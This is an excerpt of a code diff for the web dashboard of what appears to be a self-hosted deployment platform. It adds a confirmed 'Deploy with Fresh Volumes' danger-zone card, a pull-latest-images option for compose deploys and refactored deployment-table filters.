<div className="flex items-center gap-2">
<RestoreVolumeBackups id={id} type={type} serverId={serverId} />
</div>
</>
)}
</div>
</CardHeader>
<CardContent className="px-0">
<CardContent>
{isLoadingVolumeBackups ? (
<div className="flex gap-4 w-full items-center justify-center text-center mx-auto min-h-[45vh]">
<Loader2 className="size-4 text-muted-foreground/70 transition-colors animate-spin self-center" />
@@ -22,6 +22,7 @@ import {
FormMessage,
} from "@/components/ui/form";
import { Input } from "@/components/ui/input";
import { Switch } from "@/components/ui/switch";
import { api } from "@/utils/api";
interface Props {
@@ -30,6 +31,7 @@ interface Props {
const AddRedirectSchema = z.object({
command: z.string(),
pullImages: z.boolean(),
});
type AddCommand = z.infer<typeof AddRedirectSchema>;
@@ -57,22 +59,25 @@ export const AddCommandCompose = ({ composeId }: Props) => {
const form = useForm<AddCommand>({
defaultValues: {
command: "",
pullImages: false,
},
resolver: zodResolver(AddRedirectSchema),
});
useEffect(() => {
if (data?.command) {
if (data) {
form.reset({
command: data?.command || "",
command: data.command || "",
pullImages: data.pullImages ?? false,
});
}
}, [form, form.reset, form.formState.isSubmitSuccessful, data?.command]);
}, [form, form.reset, form.formState.isSubmitSuccessful, data]);
const onSubmit = async (data: AddCommand) => {
const onSubmit = async (formData: AddCommand) => {
await mutateAsync({
composeId,
command: data?.command,
command: formData.command,
pullImages: formData.pullImages,
})
.then(async () => {
toast.success("Command Updated");
@@ -109,6 +114,30 @@ export const AddCommandCompose = ({ composeId }: Props) => {
<strong>docker</strong>.
</AlertBlock>
<div className="flex flex-col gap-4">
{data?.composeType === "docker-compose" && (
<FormField
control={form.control}
name="pullImages"
render={({ field }) => (
<FormItem className="flex flex-row items-center justify-between rounded-lg border p-3 shadow-xs">
<div className="space-y-0.5">
<FormLabel>Pull latest images on deploy</FormLabel>
<FormDescription>
Adds <strong>--pull always</strong> to the default
command so every deploy fetches the newest image for
each tag. Has no effect when a custom command is set.
</FormDescription>
</div>
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
</FormItem>
)}
/>
)}
<FormField
control={form.control}
name="command"
@@ -0,0 +1,216 @@
import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
import copy from "copy-to-clipboard";
import { AlertTriangle, Copy, HardDriveDownload } from "lucide-react";
import { useRouter } from "next/router";
import { useState } from "react";
import { useForm } from "react-hook-form";
import { toast } from "sonner";
import { z } from "zod";
import { AlertBlock } from "@/components/shared/alert-block";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import {
Dialog,
DialogContent,
DialogDescription,
DialogFooter,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import {
Form,
FormControl,
FormField,
FormItem,
FormLabel,
FormMessage,
} from "@/components/ui/form";
import { Input } from "@/components/ui/input";
import { api } from "@/utils/api";
const freshVolumesSchema = z.object({
confirmName: z.string().min(1, {
message: "Compose name is required",
}),
});
type FreshVolumesForm = z.infer<typeof freshVolumesSchema>;
interface Props {
composeId: string;
}
export const FreshVolumes = ({ composeId }: Props) => {
const router = useRouter();
const [isOpen, setIsOpen] = useState(false);
const { data: permissions } = api.user.getPermissions.useQuery();
const canDeploy = permissions?.deployment.create ?? false;
const { data, refetch } = api.compose.one.useQuery(
{ composeId },
{ enabled: !!composeId },
);
const { mutateAsync: deploy, isPending } = api.compose.deploy.useMutation();
const form = useForm<FreshVolumesForm>({
defaultValues: { confirmName: "" },
resolver: zodResolver(freshVolumesSchema),
});
const expectedName = `${data?.name}/${data?.appName}`;
const isRunning = data?.composeStatus === "running";
const onSubmit = async (formData: FreshVolumesForm) => {
if (formData.confirmName !== expectedName) {
form.setError("confirmName", {
message: `Compose name must match "${expectedName}"`,
});
return;
}
await deploy({ composeId, freshVolumes: true })
.then(() => {
toast.success("Compose deployed with fresh volumes");
setIsOpen(false);
form.reset();
refetch();
router.push(
`/dashboard/project/${data?.environment.projectId}/environment/${data?.environmentId}/services/compose/${composeId}?tab=deployments`,
);
})
.catch(() => {
toast.error("Error deploying compose");
});
};
if (!canDeploy || data?.composeType !== "docker-compose") return null;
return (
<Card className="bg-background border-destructive/50">
<CardHeader>
<CardTitle className="text-xl flex items-center gap-2">
<AlertTriangle className="h-5 w-5 text-destructive" />
Danger Zone
</CardTitle>
</CardHeader>
<CardContent>
<div className="flex flex-col gap-4">
<div className="flex flex-col gap-2">
<h3 className="text-base font-semibold">
Deploy with Fresh Volumes
</h3>
<p className="text-sm text-muted-foreground">
Permanently wipes every volume of this compose and redeploys it
from a clean state. All persistent data (databases, uploads,
caches) will be lost.
</p>
</div>
<Dialog
open={isOpen}
onOpenChange={(open) => {
setIsOpen(open);
if (!open) form.reset();
}}
>
<DialogTrigger asChild>
<Button
isLoading={isPending}
variant="outline"
className="w-full border-destructive/50 hover:bg-destructive/10 hover:text-destructive text-destructive"
>
<HardDriveDownload className="mr-2 h-4 w-4" />
Deploy with Fresh Volumes
</Button>
</DialogTrigger>
<DialogContent className="sm:max-w-lg">
<DialogHeader>
<DialogTitle className="flex items-center gap-2">
<AlertTriangle className="h-5 w-5 text-destructive" />
Are you absolutely sure?
</DialogTitle>
<DialogDescription asChild>
<div className="space-y-2">
<p>This action will:</p>
<ul className="list-disc list-inside space-y-1">
<li>Stop the current compose</li>
<li>Delete all volumes and their data</li>
<li>Redeploy the compose with empty volumes</li>
</ul>
<p className="font-medium text-destructive mt-4">
This action cannot be undone.
</p>
</div>
</DialogDescription>
</DialogHeader>
<Form {...form}>
<form
onSubmit={form.handleSubmit(onSubmit)}
id="hook-form-fresh-volumes"
className="grid w-full gap-4"
>
<FormField
control={form.control}
name="confirmName"
render={({ field }) => (
<FormItem>
<FormLabel className="flex items-center gap-2">
<span>
To confirm, type{" "}
<Badge
className="p-2 rounded-md ml-1 mr-1 hover:border-primary hover:text-primary-foreground hover:bg-primary hover:cursor-pointer"
variant="outline"
onClick={() => {
if (data?.name && data?.appName) {
copy(expectedName);
toast.success(
"Copied to clipboard. Be careful!",
);
}
}}
>
{expectedName}&nbsp;
<Copy className="h-4 w-4 ml-1 text-muted-foreground" />
</Badge>{" "}
in the box below:
</span>
</FormLabel>
<FormControl>
<Input
placeholder="Enter compose name to confirm"
autoComplete="off"
{...field}
/>
</FormControl>
<FormMessage />
</FormItem>
)}
/>
</form>
</Form>
{isRunning && (
<AlertBlock type="warning" className="w-full">
Cannot deploy with fresh volumes while a deployment is
running. Please wait for it to finish and then try again.
</AlertBlock>
)}
<DialogFooter>
<Button variant="secondary" onClick={() => setIsOpen(false)}>
Cancel
</Button>
<Button
isLoading={isPending}
disabled={isRunning}
form="hook-form-fresh-volumes"
type="submit"
variant="destructive"
>
Wipe volumes and deploy
</Button>
</DialogFooter>
</DialogContent>
</Dialog>
</div>
</CardContent>
</Card>
);
};
@@ -1,11 +1,4 @@
import {
Ban,
CheckCircle2,
HardDriveDownload,
RefreshCcw,
Rocket,
Terminal,
} from "lucide-react";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useRouter } from "next/router";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { toast } from "sonner";
@@ -89,51 +82,6 @@ export const ComposeActions = ({ composeId }: Props) => {
</Button>
</DialogAction>
)}
{canDeploy && data?.composeType === "docker-compose" && (
<DialogAction
title="Deploy with Fresh Volumes"
description="This will remove all volumes and redeploy with a clean state. All persistent data will be permanently deleted."
type="destructive"
onClick={async () => {
await deploy({
composeId: composeId,
freshVolumes: true,
})
.then(() => {
toast.success("Compose deployed with fresh volumes");
refetch();
router.push(
`/dashboard/project/${data?.environment.projectId}/environment/${data?.environmentId}/services/compose/${composeId}?tab=deployments`,
);
})
.catch(() => {
toast.error("Error deploying compose");
});
}}
>
<Button
variant="outline"
isLoading={data?.composeStatus === "running"}
className="flex items-center gap-1.5 group focus-visible:ring-2 focus-visible:ring-offset-2"
>
<Tooltip>
<TooltipTrigger asChild>
<div className="flex items-center">
<HardDriveDownload className="size-4 mr-1" />
Fresh Volumes
</div>
</TooltipTrigger>
<TooltipPrimitive.Portal>
<TooltipContent sideOffset={5} className="z-[60]">
<p>
Deploy with fresh volumes (removes all persistent data)
</p>
</TooltipContent>
</TooltipPrimitive.Portal>
</Tooltip>
</Button>
</DialogAction>
)}
{canDeploy && (
<DialogAction
title="Rebuild Compose"
@@ -158,7 +158,6 @@ export const SaveBitbucketProviderCompose = ({ composeId }: Props) => {
composePath: data.composePath,
composeId,
sourceType: "bitbucket",
composeStatus: "idle",
watchPaths: data.watchPaths,
enableSubmodules: data.enableSubmodules,
})
@@ -97,7 +97,6 @@ export const SaveGitProviderCompose = ({ composeId }: Props) => {
composeId,
sourceType: "git",
composePath: values.composePath,
composeStatus: "idle",
watchPaths: values.watchPaths || [],
enableSubmodules: values.enableSubmodules,
})
@@ -157,7 +157,6 @@ export const SaveGiteaProviderCompose = ({ composeId }: Props) => {
giteaId: data.giteaId,
composeId,
sourceType: "gitea",
composeStatus: "idle",
watchPaths: data.watchPaths,
enableSubmodules: data.enableSubmodules,
} as any)
@@ -155,7 +155,6 @@ export const SaveGithubProviderCompose = ({ composeId }: Props) => {
composePath: data.composePath,
githubId: data.githubId,
sourceType: "github",
composeStatus: "idle",
watchPaths: data.watchPaths,
enableSubmodules: data.enableSubmodules,
triggerType: data.triggerType,
@@ -169,7 +169,6 @@ export const SaveGitlabProviderCompose = ({ composeId }: Props) => {
gitlabProjectId: data.repository.id,
gitlabPathNamespace: data.repository.gitlabPathNamespace,
sourceType: "gitlab",
composeStatus: "idle",
watchPaths: data.watchPaths,
enableSubmodules: data.enableSubmodules,
})
@@ -554,7 +554,10 @@ export const RestoreBackup = ({
value={field.value}
onValueChange={(value: DatabaseType) => {
field.onChange(value);
form.setValue("metadata", {});
form.setValue("metadata", {
serviceName:
form.getValues("metadata.serviceName") ?? "",
});
}}
>
<SelectTrigger>
@@ -581,7 +584,7 @@ export const RestoreBackup = ({
<div className="flex gap-2">
<Select
onValueChange={field.onChange}
value={field.value || undefined}
value={field.value ?? ""}
>
<FormControl>
<SelectTrigger>
@@ -1,10 +1,4 @@
import {
ClipboardList,
Database,
DatabaseBackup,
Play,
Trash2,
} from "lucide-react";
import { ClipboardList, DatabaseBackup, Play, Trash2 } from "lucide-react";
import Link from "next/link";
import { useState } from "react";
import { toast } from "sonner";
@@ -101,12 +95,9 @@ export const ShowBackups = ({
return (
<Card className="bg-background">
<CardHeader className="flex flex-row justify-between gap-4 flex-wrap">
<div className="flex flex-col gap-0.5">
<CardTitle className="text-xl flex flex-row gap-2">
<Database className="size-6 text-muted-foreground" />
Backups
</CardTitle>
<CardHeader className="flex flex-row items-center flex-wrap gap-4 justify-between">
<div className="flex flex-col gap-1">
<CardTitle className="text-xl">Backups</CardTitle>
<CardDescription>
Add backups to your database to save the data to a different
provider.
@@ -1,10 +1,8 @@
"use client";
import {
type ColumnFiltersState,
flexRender,
getCoreRowModel,
getFilteredRowModel,
getPaginationRowModel,
getSortedRowModel,
type PaginationState,
@@ -27,7 +25,6 @@ import Link from "next/link";
import { useMemo, useState } from "react";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import { Input } from "@/components/ui/input";
import {
Select,
SelectContent,
@@ -97,14 +94,21 @@ function getServiceInfo(d: DeploymentRow) {
return null;
}
export function ShowDeploymentsTable() {
interface ShowDeploymentsTableProps {
globalFilter: string;
statusFilter: string;
typeFilter: string;
}
export function ShowDeploymentsTable({
globalFilter,
statusFilter,
typeFilter,
}: ShowDeploymentsTableProps) {
const [sorting, setSorting] = useState<SortingState>([
{ id: "createdAt", desc: true },
]);
const [columnFilters, setColumnFilters] = useState<ColumnFiltersState>([]);
const [globalFilter, setGlobalFilter] = useState("");
const [statusFilter, setStatusFilter] = useState<string>("all");
const [typeFilter, setTypeFilter] = useState<string>("all");
const [pagination, setPagination] = useState<PaginationState>({
pageIndex: 0,
pageSize: 50,
@@ -446,177 +450,140 @@ export function ShowDeploymentsTable() {
columns,
state: {
sorting,
columnFilters,
globalFilter,
pagination,
},
onSortingChange: setSorting,
onColumnFiltersChange: setColumnFilters,
onGlobalFilterChange: setGlobalFilter,
onPaginationChange: setPagination,
getCoreRowModel: getCoreRowModel(),
getSortedRowModel: getSortedRowModel(),
getFilteredRowModel: getFilteredRowModel(),
getPaginationRowModel: getPaginationRowModel(),
});
return (
<div className="space-y-2">
<div className="flex flex-wrap items-center gap-2">
<Input
placeholder="Search by name, project, environment, server..."
value={globalFilter}
onChange={(e) => setGlobalFilter(e.target.value)}
className="max-w-xs"
/>
<Select value={statusFilter} onValueChange={setStatusFilter}>
<SelectTrigger className="w-[140px]">
<SelectValue placeholder="Status" />
</SelectTrigger>
<SelectContent>
<SelectItem value="all">All statuses</SelectItem>
<SelectItem value="running">Running</SelectItem>
<SelectItem value="done">Done</SelectItem>
<SelectItem value="error">Error</SelectItem>
<SelectItem value="cancelled">Cancelled</SelectItem>
</SelectContent>
</Select>
<Select value={typeFilter} onValueChange={setTypeFilter}>
<SelectTrigger className="w-[140px]">
<SelectValue placeholder="Type" />
</SelectTrigger>
<SelectContent>
<SelectItem value="all">All types</SelectItem>
<SelectItem value="application">Application</SelectItem>
<SelectItem value="compose">Compose</SelectItem>
</SelectContent>
</Select>
</div>
<div className="px-0">
{isLoading ? (
<div className="flex gap-4 w-full items-center justify-center min-h-[45vh] text-muted-foreground">
<Loader2 className="size-4 animate-spin" />
<span>Loading deployments...</span>
</div>
) : (
<>
<div className="rounded-md border overflow-x-auto">
<Table>
<TableHeader>
{table.getHeaderGroups().map((headerGroup) => (
<TableRow key={headerGroup.id}>
{headerGroup.headers.map((header) => (
<TableHead key={header.id}>
{header.isPlaceholder
? null
: flexRender(
header.column.columnDef.header,
header.getContext(),
)}
</TableHead>
<div className="px-0">
{isLoading ? (
<div className="flex gap-4 w-full items-center justify-center min-h-[45vh] text-muted-foreground">
<Loader2 className="size-4 animate-spin" />
<span>Loading deployments...</span>
</div>
) : (
<>
<div className="rounded-md border overflow-x-auto">
<Table>
<TableHeader>
{table.getHeaderGroups().map((headerGroup) => (
<TableRow key={headerGroup.id}>
{headerGroup.headers.map((header) => (
<TableHead key={header.id}>
{header.isPlaceholder
? null
: flexRender(
header.column.columnDef.header,
header.getContext(),
)}
</TableHead>
))}
</TableRow>
))}
</TableHeader>
<TableBody>
{table.getRowModel().rows?.length ? (
table.getRowModel().rows.map((row) => (
<TableRow key={row.id}>
{row.getVisibleCells().map((cell) => (
<TableCell key={cell.id}>
{flexRender(
cell.column.columnDef.cell,
cell.getContext(),
)}
</TableCell>
))}
</TableRow>
))
) : (
<TableRow>
<TableCell
colSpan={columns.length}
className=" text-center"
>
<div className="flex flex-col min-h-[45vh] items-center justify-center gap-2 text-muted-foreground">
<Rocket className="size-8" />
<p className="font-medium">No deployments found</p>
<p className="text-sm">
Deployments from applications and compose will appear
here.
</p>
</div>
</TableCell>
</TableRow>
)}
</TableBody>
</Table>
</div>
<div className="flex flex-col gap-4 px-4 py-4 border-t sm:flex-row sm:items-center sm:justify-between">
<div className="flex items-center gap-2 flex-wrap">
<span className="text-sm text-muted-foreground whitespace-nowrap">
Rows per page
</span>
<Select
value={String(pagination.pageSize)}
onValueChange={(value) => {
setPagination((p) => ({
...p,
pageSize: Number(value),
pageIndex: 0,
}));
}}
>
<SelectTrigger className="h-8 w-[70px]">
<SelectValue />
</SelectTrigger>
<SelectContent side="top">
{[10, 25, 50, 100].map((size) => (
<SelectItem key={size} value={String(size)}>
{size}
</SelectItem>
))}
</TableHeader>
<TableBody>
{table.getRowModel().rows?.length ? (
table.getRowModel().rows.map((row) => (
<TableRow key={row.id}>
{row.getVisibleCells().map((cell) => (
<TableCell key={cell.id}>
{flexRender(
cell.column.columnDef.cell,
cell.getContext(),
)}
</TableCell>
))}
</TableRow>
))
) : (
<TableRow>
<TableCell
colSpan={columns.length}
className=" text-center"
>
<div className="flex flex-col min-h-[45vh] items-center justify-center gap-2 text-muted-foreground">
<Rocket className="size-8" />
<p className="font-medium">No deployments found</p>
<p className="text-sm">
Deployments from applications and compose will
appear here.
</p>
</div>
</TableCell>
</TableRow>
)}
</TableBody>
</Table>
</SelectContent>
</Select>
<span className="text-sm text-muted-foreground whitespace-nowrap">
Showing{" "}
{filteredData.length === 0
? 0
: pagination.pageIndex * pagination.pageSize + 1}{" "}
to{" "}
{Math.min(
(pagination.pageIndex + 1) * pagination.pageSize,
filteredData.length,
)}{" "}
of {filteredData.length} entries
</span>
</div>
<div className="flex flex-col gap-4 px-4 py-4 border-t sm:flex-row sm:items-center sm:justify-between">
<div className="flex items-center gap-2 flex-wrap">
<span className="text-sm text-muted-foreground whitespace-nowrap">
Rows per page
</span>
<Select
value={String(pagination.pageSize)}
onValueChange={(value) => {
setPagination((p) => ({
...p,
pageSize: Number(value),
pageIndex: 0,
}));
}}
>
<SelectTrigger className="h-8 w-[70px]">
<SelectValue />
</SelectTrigger>
<SelectContent side="top">
{[10, 25, 50, 100].map((size) => (
<SelectItem key={size} value={String(size)}>
{size}
</SelectItem>
))}
</SelectContent>
</Select>
<span className="text-sm text-muted-foreground whitespace-nowrap">
Showing{" "}
{filteredData.length === 0
? 0
: pagination.pageIndex * pagination.pageSize + 1}{" "}
to{" "}
{Math.min(
(pagination.pageIndex + 1) * pagination.pageSize,
filteredData.length,
)}{" "}
of {filteredData.length} entries
</span>
</div>
<div className="flex items-center gap-2">
<Button
variant="outline"
size="sm"
className="h-8"
onClick={() => table.previousPage()}
disabled={!table.getCanPreviousPage()}
>
<ChevronLeft className="size-4" />
Previous
</Button>
<Button
variant="outline"
size="sm"
className="h-8"
onClick={() => table.nextPage()}
disabled={!table.getCanNextPage()}
>
Next
<ChevronRight className="size-4" />
</Button>
</div>
<div className="flex items-center gap-2">
<Button
variant="outline"
size="sm"
className="h-8"
onClick={() => table.previousPage()}
disabled={!table.getCanPreviousPage()}
>
<ChevronLeft className="size-4" />
Previous
</Button>
<Button
variant="outline"
size="sm"
className="h-8"
onClick={() => table.nextPage()}
disabled={!table.getCanNextPage()}
>
Next
<ChevronRight className="size-4" />
</Button>
</div>
</>
)}
</div>
</div>
</>
)}
</div>
);
}

Some files were not shown because too many files have changed in this diff Show More